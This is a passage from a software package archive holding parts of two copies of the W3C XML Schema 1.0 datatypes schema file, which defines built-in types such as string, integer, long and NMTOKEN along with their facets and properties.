<hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#base64Binary"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="base64Binary.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="anyURI" id="anyURI"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#anyURI"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="anyURI.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="QName" id="QName"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#QName"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="QName.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NOTATION" id="NOTATION"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NOTATION"/> <xs:documentation> NOTATION cannot be used directly in a schema; rather a type must be derived from it by specifying at least one enumeration facet whose value is the name of a NOTATION declared in the schema. </xs:documentation> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="collapse" fixed="true" id="NOTATION.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:annotation> <xs:documentation> Now the derived primitive types </xs:documentation> </xs:annotation> <xs:simpleType name="normalizedString" id="normalizedString"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#normalizedString"/> </xs:annotation> <xs:restriction base="xs:string"> <xs:whiteSpace value="replace" id="normalizedString.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="token" id="token"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#token"/> </xs:annotation> <xs:restriction base="xs:normalizedString"> <xs:whiteSpace value="collapse" id="token.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="language" id="language"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#language"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*" id="language.pattern"> <xs:annotation> <xs:documentation source="http://www.ietf.org/rfc/rfc3066.txt"> pattern specifies the content of section 2.12 of XML 1.0e2 and RFC 3066 (Revised version of RFC 1766). </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="IDREFS" id="IDREFS"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#IDREFS"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:IDREF"/> </xs:simpleType> <xs:minLength value="1" id="IDREFS.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="ENTITIES" id="ENTITIES"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ENTITIES"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:ENTITY"/> </xs:simpleType> <xs:minLength value="1" id="ENTITIES.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="NMTOKEN" id="NMTOKEN"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NMTOKEN"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="\c+" id="NMTOKEN.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml#NT-Nmtoken"> pattern matches production 7 from the XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="NMTOKENS" id="NMTOKENS"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="pattern"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NMTOKENS"/> </xs:annotation> <xs:restriction> <xs:simpleType> <xs:list itemType="xs:NMTOKEN"/> </xs:simpleType> <xs:minLength value="1" id="NMTOKENS.minLength"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Name" id="Name"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#Name"/> </xs:annotation> <xs:restriction base="xs:token"> <xs:pattern value="\i\c*" id="Name.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml#NT-Name"> pattern matches production 5 from the XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="NCName" id="NCName"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#NCName"/> </xs:annotation> <xs:restriction base="xs:Name"> <xs:pattern value="[\i-[:]][\c-[:]]*" id="NCName.pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/REC-xml-names/#NT-NCName"> pattern matches production 4 from the Namespaces in XML spec </xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> <xs:simpleType name="ID" id="ID"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ID"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="IDREF" id="IDREF"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#IDREF"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="ENTITY" id="ENTITY"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#ENTITY"/> </xs:annotation> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:simpleType name="integer" id="integer"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#integer"/> </xs:annotation> <xs:restriction base="xs:decimal"> <xs:fractionDigits value="0" fixed="true" id="integer.fractionDigits"/> <xs:pattern value="[\-+]?[0-9]+"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="nonPositiveInteger" id="nonPositiveInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#nonPositiveInteger"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:maxInclusive value="0" id="nonPositiveInteger.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="negativeInteger" id="negativeInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#negativeInteger"/> </xs:annotation> <xs:restriction base="xs:nonPositiveInteger"> <xs:maxInclusive value="-1" id="negativeInteger.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="long" id="long"> <xs:annotation> <xs:appinfo> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#long"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:minInclusive value="-9223372036854775808" id="long.minInclusive"/> <xs:maxInclusive value="9223372036854775807" id="long.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="int" id="int"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#int"/> </xs:annotation> <xs:restriction base="xs:long"> <xs:minInclusive value="-2147483648" id="int.minInclusive"/> <xs:maxInclusive value="2147483647" id="int.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="short" id="short"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#short"/> </xs:annotation> <xs:restriction base="xs:int"> <xs:minInclusive value="-32768" id="short.minInclusive"/> <xs:maxInclusive value="32767" id="short.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="byte" id="byte"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#byte"/> </xs:annotation> <xs:restriction base="xs:short"> <xs:minInclusive value="-128" id="byte.minInclusive"/> <xs:maxInclusive value="127" id="byte.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="nonNegativeInteger" id="nonNegativeInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#nonNegativeInteger"/> </xs:annotation> <xs:restriction base="xs:integer"> <xs:minInclusive value="0" id="nonNegativeInteger.minInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedLong" id="unsignedLong"> <xs:annotation> <xs:appinfo> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedLong"/> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"> <xs:maxInclusive value="18446744073709551615" id="unsignedLong.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedInt" id="unsignedInt"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedInt"/> </xs:annotation> <xs:restriction base="xs:unsignedLong"> <xs:maxInclusive value="4294967295" id="unsignedInt.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedShort" id="unsignedShort"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedShort"/> </xs:annotation> <xs:restriction base="xs:unsignedInt"> <xs:maxInclusive value="65535" id="unsignedShort.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="unsignedByte" id="unsignedByte"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#unsignedByte"/> </xs:annotation> <xs:restriction base="xs:unsignedShort"> <xs:maxInclusive value="255" id="unsignedByte.maxInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="positiveInteger" id="positiveInteger"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#positiveInteger"/> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"> <xs:minInclusive value="1" id="positiveInteger.minInclusive"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="derivationControl"> <xs:annotation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="substitution"/> <xs:enumeration value="extension"/> <xs:enumeration value="restriction"/> <xs:enumeration value="list"/> <xs:enumeration value="union"/> </xs:restriction> </xs:simpleType> <xs:group name="simpleDerivation"> <xs:choice> <xs:element ref="xs:restriction"/> <xs:element ref="xs:list"/> <xs:element ref="xs:union"/> </xs:choice> </xs:group> <xs:simpleType name="simpleDerivationSet"> <xs:annotation> <xs:documentation> #all or (possibly empty) subset of {restriction, union, list} </xs:documentation> <xs:documentation> A utility type, not for public use</xs:documentation> </xs:annotation> <xs:union> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="#all"/> </xs:restriction> </xs:simpleType> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:derivationControl"> <xs:enumeration value="list"/> <xs:enumeration value="union"/> <xs:enumeration value="restriction"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> </xs:union> </xs:simpleType> <xs:complexType name="simpleType" abstract="true"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleDerivation"/> <xs:attribute name="final" type="xs:simpleDerivationSet"/> <xs:attribute name="name" type="xs:NCName"> <xs:annotation> <xs:documentation> Can be restricted to required or forbidden </xs:documentation> </xs:annotation> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="topLevelSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" use="required" type="xs:NCName"> <xs:annotation> <xs:documentation> Required at the top level </xs:documentation> </xs:annotation> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="localSimpleType"> <xs:complexContent> <xs:restriction base="xs:simpleType"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> <xs:group ref="xs:simpleDerivation"/> </xs:sequence> <xs:attribute name="name" use="prohibited"> <xs:annotation> <xs:documentation> Forbidden when nested </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="final" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="simpleType" type="xs:topLevelSimpleType" id="simpleType"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-simpleType"/> </xs:annotation> </xs:element> <xs:group name="facets"> <xs:annotation> <xs:documentation> We should use a substitution group for facets, but that's ruled out because it would allow users to add their own, which we're not ready for yet. </xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="xs:minExclusive"/> <xs:element ref="xs:minInclusive"/> <xs:element ref="xs:maxExclusive"/> <xs:element ref="xs:maxInclusive"/> <xs:element ref="xs:totalDigits"/> <xs:element ref="xs:fractionDigits"/> <xs:element ref="xs:length"/> <xs:element ref="xs:minLength"/> <xs:element ref="xs:maxLength"/> <xs:element ref="xs:enumeration"/> <xs:element ref="xs:whiteSpace"/> <xs:element ref="xs:pattern"/> </xs:choice> </xs:group> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> <xs:group ref="xs:facets" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:element name="restriction" id="restriction"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-restriction"> base attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:group ref="xs:simpleRestrictionModel"/> <xs:attribute name="base" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="list" id="list"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-list"> itemType attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="itemType" type="xs:QName" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="union" id="union"> <xs:complexType> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-union"> memberTypes attribute must be non-empty or there must be at least one simpleType child </xs:documentation> </xs:annotation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="memberTypes" use="optional"> <xs:simpleType> <xs:list itemType="xs:QName"/> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:complexType name="facet"> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="value" use="required"/> <xs:attribute name="fixed" type="xs:boolean" use="optional" default="false"/> </xs:extension> </xs:complexContent> </xs:complexType> <xs:complexType name="noFixedFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="fixed" use="prohibited"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="minExclusive" id="minExclusive" type="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minExclusive"/> </xs:annotation> </xs:element> <xs:element name="minInclusive" id="minInclusive" type="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minInclusive"/> </xs:annotation> </xs:element> <xs:element name="maxExclusive" id="maxExclusive" type="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxExclusive"/> </xs:annotation> </xs:element> <xs:element name="maxInclusive" id="maxInclusive" type="xs:facet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxInclusive"/> </xs:annotation> </xs:element> <xs:complexType name="numFacet"> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:nonNegativeInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:element name="totalDigits" id="totalDigits"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-totalDigits"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:numFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:positiveInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="fractionDigits" id="fractionDigits" type="xs:numFacet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-fractionDigits"/> </xs:annotation> </xs:element> <xs:element name="length" id="length" type="xs:numFacet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-length"/> </xs:annotation> </xs:element> <xs:element name="minLength" id="minLength" type="xs:numFacet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-minLength"/> </xs:annotation> </xs:element> <xs:element name="maxLength" id="maxLength" type="xs:numFacet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-maxLength"/> </xs:annotation> </xs:element> <xs:element name="enumeration" id="enumeration" type="xs:noFixedFacet"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-enumeration"/> </xs:annotation> </xs:element> <xs:element name="whiteSpace" id="whiteSpace"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-whiteSpace"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:facet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" use="required"> <xs:simpleType> <xs:restriction base="xs:NMTOKEN"> <xs:enumeration value="preserve"/> <xs:enumeration value="replace"/> <xs:enumeration value="collapse"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="pattern" id="pattern"> <xs:annotation> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#element-pattern"/> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:restriction base="xs:noFixedFacet"> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> <xs:attribute name="value" type="xs:string" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> �������������������������������xmlschema-4.1.0/xmlschema/schemas/XSD_1.0/datatypes.xsd���������������������������������������������0000664�0000000�0000000�00000126415�15020401055�0022634�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<pre><![CDATA[<!DOCTYPE xs:schema PUBLIC "-//W3C//DTD XMLSCHEMA 200102//EN" "XMLSchema.dtd" [ <!-- keep this schema XML1.0 DTD valid --> <!ENTITY % schemaAttrs 'xmlns:hfp CDATA #IMPLIED'> <!ELEMENT hfp:hasFacet EMPTY> <!ATTLIST hfp:hasFacet name NMTOKEN #REQUIRED> <!ELEMENT hfp:hasProperty EMPTY> <!ATTLIST hfp:hasProperty name NMTOKEN #REQUIRED value CDATA #REQUIRED> <!-- Make sure that processors that do not read the external subset will know about the various IDs we declare --> <!ATTLIST xs:simpleType id ID #IMPLIED> <!ATTLIST xs:maxExclusive id ID #IMPLIED> <!ATTLIST xs:minExclusive id ID #IMPLIED> <!ATTLIST xs:maxInclusive id ID #IMPLIED> <!ATTLIST xs:minInclusive id ID #IMPLIED> <!ATTLIST xs:totalDigits id ID #IMPLIED> <!ATTLIST xs:fractionDigits id ID #IMPLIED> <!ATTLIST xs:length id ID #IMPLIED> <!ATTLIST xs:minLength id ID #IMPLIED> <!ATTLIST xs:maxLength id ID #IMPLIED> <!ATTLIST xs:enumeration id ID #IMPLIED> <!ATTLIST xs:pattern id ID #IMPLIED> <!ATTLIST xs:appinfo id ID #IMPLIED> <!ATTLIST xs:documentation id ID #IMPLIED> <!ATTLIST xs:list id ID #IMPLIED> <!ATTLIST xs:union id ID #IMPLIED> ]> <?xml version='1.0'?> <xs:schema xmlns:hfp="http://www.w3.org/2001/XMLSchema-hasFacetAndProperty" xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="#all" elementFormDefault="qualified" xml:lang="en" targetNamespace="http://www.w3.org/2001/XMLSchema" version="Id: datatypes.xsd,v 1.4 2004/05/29 10:26:33 ht Exp "> <xs:annotation> <xs:documentation source="../datatypes/datatypes-with-errata.html"> The schema corresponding to this document is normative, with respect to the syntactic constraints it expresses in the XML Schema language. The documentation (within <documentation> elements) below, is not normative, but rather highlights important aspects of the W3C Recommendation of which this is a part </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> First the built-in primitive datatypes. These definitions are for information only, the real built-in definitions are magic. </xs:documentation> <xs:documentation> For each built-in datatype in this schema (both primitive and derived) can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the datatype For example, to address the int datatype, the URI is: http://www.w3.org/2001/XMLSchema#int Additionally, each facet definition element can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the facet For example, to address the maxInclusive facet, the URI is: http://www.w3.org/2001/XMLSchema#maxInclusive Additionally, each facet usage in a built-in datatype definition can be uniquely addressed via a URI constructed as follows: 1) the base URI is the URI of the XML Schema namespace 2) the fragment identifier is the name of the datatype, followed by a period (".") followed by the name of the facet For example, to address the usage of the maxInclusive facet in the definition of int, the URI is: http://www.w3.org/2001/XMLSchema#int.maxInclusive </xs:documentation> </xs:annotation> <xs:simpleType name="string" id="string"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="length"/> <hfp:hasFacet name="minLength"/> <hfp:hasFacet name="maxLength"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#string"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace value="preserve" id="string.preserve"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="boolean" id="boolean"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasProperty name="ordered" value="false"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#boolean"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="boolean.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="float" id="float"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#float"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="float.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="double" id="double"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="true"/> <hfp:hasProperty name="cardinality" value="finite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#double"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="double.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="decimal" id="decimal"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="totalDigits"/> <hfp:hasFacet name="fractionDigits"/> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="total"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="true"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#decimal"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="decimal.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="duration" id="duration"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> <hfp:hasFacet name="maxExclusive"/> <hfp:hasFacet name="minInclusive"/> <hfp:hasFacet name="minExclusive"/> <hfp:hasProperty name="ordered" value="partial"/> <hfp:hasProperty name="bounded" value="false"/> <hfp:hasProperty name="cardinality" value="countably infinite"/> <hfp:hasProperty name="numeric" value="false"/> </xs:appinfo> <xs:documentation source="http://www.w3.org/TR/xmlschema-2/#duration"/> </xs:annotation> <xs:restriction base="xs:anySimpleType"> <xs:whiteSpace fixed="true" value="collapse" id="duration.whiteSpace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="dateTime" id="dateTime"> <xs:annotation> <xs:appinfo> <hfp:hasFacet name="pattern"/> <hfp:hasFacet name="enumeration"/> <hfp:hasFacet name="whiteSpace"/> <hfp:hasFacet name="maxInclusive"/> 